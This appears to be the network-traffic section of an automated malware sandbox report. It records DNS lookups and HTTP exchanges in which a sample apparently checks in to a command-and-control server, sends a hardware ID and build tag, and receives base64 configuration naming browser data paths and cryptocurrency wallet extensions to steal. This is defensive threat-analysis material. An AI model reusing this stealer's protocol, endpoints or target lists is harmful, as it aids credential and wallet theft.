Nov 22, 2024 14:44:08.751451969 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.751507998 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.752186060 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.752230883 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.752269983 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.752289057 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.753051996 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.753101110 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.753109932 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.753185034 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.753905058 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.753966093 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.754044056 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.754084110 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.754796982 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.754906893 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.754924059 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.754962921 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.755656004 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.755707979 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.755773067 CET	80	49949	185.215.113.16	192.168.2.6
Nov 22, 2024 14:44:08.755827904 CET	49949	80	192.168.2.6	185.215.113.16
Nov 22, 2024 14:44:08.756541967 CET	80	49949	185.215.113.16	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 22, 2024 14:43:32.130063057 CET	192.168.2.6	1.1.1.1	0x46d6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:32.130712032 CET	192.168.2.6	1.1.1.1	0xe5b3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 22, 2024 14:43:39.399246931 CET	192.168.2.6	1.1.1.1	0x9b29	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:39.399530888 CET	192.168.2.6	1.1.1.1	0xe0b0	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 22, 2024 14:43:44.542680979 CET	192.168.2.6	1.1.1.1	0x4113	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:44.548269987 CET	192.168.2.6	1.1.1.1	0x37a3	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 22, 2024 14:43:47.460983038 CET	192.168.2.6	1.1.1.1	0xdf84	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:47.461451054 CET	192.168.2.6	1.1.1.1	0x863b	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 22, 2024 14:43:47.947262049 CET	192.168.2.6	1.1.1.1	0xc05d	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:47.947443008 CET	192.168.2.6	1.1.1.1	0x4df8	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 22, 2024 14:43:49.025129080 CET	192.168.2.6	1.1.1.1	0x7f24	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:49.025661945 CET	192.168.2.6	1.1.1.1	0xcf98	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 14:43:49.026532888 CET	192.168.2.6	1.1.1.1	0x1590	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:49.026858091 CET	192.168.2.6	1.1.1.1	0x851a	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 14:43:49.036891937 CET	192.168.2.6	1.1.1.1	0x901c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:49.037583113 CET	192.168.2.6	1.1.1.1	0xc684	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 22, 2024 14:43:49.952394009 CET	192.168.2.6	1.1.1.1	0x1d5b	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:49.952766895 CET	192.168.2.6	1.1.1.1	0xab8d	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 22, 2024 14:43:49.964205980 CET	192.168.2.6	1.1.1.1	0x90fc	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:49.964838028 CET	192.168.2.6	1.1.1.1	0x66bb	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 22, 2024 14:43:50.093390942 CET	192.168.2.6	1.1.1.1	0xa643	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:50.093513966 CET	192.168.2.6	1.1.1.1	0x1373	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 22, 2024 14:43:50.251468897 CET	192.168.2.6	1.1.1.1	0xe291	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:50.251663923 CET	192.168.2.6	1.1.1.1	0x2661	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 22, 2024 14:45:20.379265070 CET	192.168.2.6	1.1.1.1	0xc2d5	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:45:20.379331112 CET	192.168.2.6	1.1.1.1	0xb2b	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 22, 2024 14:43:16.413451910 CET	1.1.1.1	192.168.2.6	0xab33	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:16.413451910 CET	1.1.1.1	192.168.2.6	0xab33	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:32.268259048 CET	1.1.1.1	192.168.2.6	0x46d6	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:32.268771887 CET	1.1.1.1	192.168.2.6	0xe5b3	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 22, 2024 14:43:39.797728062 CET	1.1.1.1	192.168.2.6	0x9b29	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:39.797728062 CET	1.1.1.1	192.168.2.6	0x9b29	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:39.799174070 CET	1.1.1.1	192.168.2.6	0xe0b0	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:44.686037064 CET	1.1.1.1	192.168.2.6	0x4113	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:44.700962067 CET	1.1.1.1	192.168.2.6	0x37a3	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:45.462769985 CET	1.1.1.1	192.168.2.6	0xaa30	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:45.488106012 CET	1.1.1.1	192.168.2.6	0x618a	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:45.488106012 CET	1.1.1.1	192.168.2.6	0x618a	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:47.602471113 CET	1.1.1.1	192.168.2.6	0x863b	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:47.697166920 CET	1.1.1.1	192.168.2.6	0xdf84	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:48.084484100 CET	1.1.1.1	192.168.2.6	0xc05d	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:48.084484100 CET	1.1.1.1	192.168.2.6	0xc05d	No error (0)	googlehosted.l.googleusercontent.com		172.217.19.225	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:48.184287071 CET	1.1.1.1	192.168.2.6	0x4df8	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:49.162261963 CET	1.1.1.1	192.168.2.6	0x7f24	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:49.162261963 CET	1.1.1.1	192.168.2.6	0x7f24	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:49.162715912 CET	1.1.1.1	192.168.2.6	0xcf98	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 14:43:49.163299084 CET	1.1.1.1	192.168.2.6	0x1590	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:49.163299084 CET	1.1.1.1	192.168.2.6	0x1590	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:49.166001081 CET	1.1.1.1	192.168.2.6	0x851a	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 14:43:49.174911976 CET	1.1.1.1	192.168.2.6	0xc684	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 22, 2024 14:43:49.175139904 CET	1.1.1.1	192.168.2.6	0x901c	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:49.175139904 CET	1.1.1.1	192.168.2.6	0x901c	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:50.092019081 CET	1.1.1.1	192.168.2.6	0x1d5b	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:50.092019081 CET	1.1.1.1	192.168.2.6	0x1d5b	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:50.092019081 CET	1.1.1.1	192.168.2.6	0x1d5b	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:50.092019081 CET	1.1.1.1	192.168.2.6	0x1d5b	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 22, 2024 14:43:50.101147890 CET	1.1.1.1	192.168.2.6	0x90fc	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:50.102181911 CET	1.1.1.1	192.168.2.6	0x66bb	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:50.229959011 CET	1.1.1.1	192.168.2.6	0xa643	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:50.231131077 CET	1.1.1.1	192.168.2.6	0x1373	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:50.394165993 CET	1.1.1.1	192.168.2.6	0xe291	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:43:50.503746986 CET	1.1.1.1	192.168.2.6	0x2661	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 14:45:21.162520885 CET	1.1.1.1	192.168.2.6	0xc2d5	No error (0)	home.fvtekk5pn.top		34.116.198.130	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49721	185.215.113.206	80	5608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 22, 2024 14:43:21.596035004 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 22, 2024 14:43:24.731741905 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 22, 2024 14:43:24.735577106 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKJKFBKKECFHJKEBKEH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 46 45 38 37 32 43 46 34 36 39 34 32 31 33 38 31 30 34 36 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4a 4b 46 42 4b 4b 45 43 46 48 4a 4b 45 42 4b 45 48 2d 2d 0d 0a Data Ascii: ------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="hwid"1FE872CF46942138104604------BKKJKFBKKECFHJKEBKEHContent-Disposition: form-data; name="build"mars------BKKJKFBKKECFHJKEBKEH--
Nov 22, 2024 14:43:25.209840059 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:24 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 57 59 32 59 54 59 35 59 6d 49 79 5a 57 45 34 4e 57 49 32 4e 7a 49 77 4d 44 63 7a 4f 57 5a 6c 4e 6d 49 7a 4e 47 52 69 5a 54 64 6d 4f 44 63 35 4e 47 5a 6a 4e 54 67 77 4e 44 41 33 4e 44 41 34 4e 6a 5a 68 4e 44 63 32 59 7a 51 34 5a 6a 6c 6a 4e 6d 49 34 59 6d 51 31 59 57 55 78 5a 47 56 6d 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YWY2YTY5YmIyZWE4NWI2NzIwMDczOWZlNmIzNGRiZTdmODc5NGZjNTgwNDA3NDA4NjZhNDc2YzQ4ZjljNmI4YmQ1YWUxZGVmfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 22, 2024 14:43:25.211170912 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAAAKJKJEBGHJKFHIDG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 41 4b 4a 4b 4a 45 42 47 48 4a 4b 46 48 49 44 47 2d 2d 0d 0a Data Ascii: ------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------BAAAAKJKJEBGHJKFHIDGContent-Disposition: form-data; name="message"browsers------BAAAAKJKJEBGHJKFHIDG--
Nov 22, 2024 14:43:25.664979935 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 22, 2024 14:43:25.665051937 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 22, 2024 14:43:25.667552948 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 66 36 61 36 39 62 62 32 65 61 38 35 62 36 37 32 30 30 37 33 39 66 65 36 62 33 34 64 62 65 37 66 38 37 39 34 66 63 35 38 30 34 30 37 34 30 38 36 36 61 34 37 36 63 34 38 66 39 63 36 62 38 62 64 35 61 65 31 64 65 66 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="token"af6a69bb2ea85b67200739fe6b34dbe7f8794fc58040740866a476c48f9c6b8bd5ae1def------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="message"plugins------HDHJEBFBFHJECAKFCAAK--
Nov 22, 2024 14:43:26.122078896 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 13:43:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
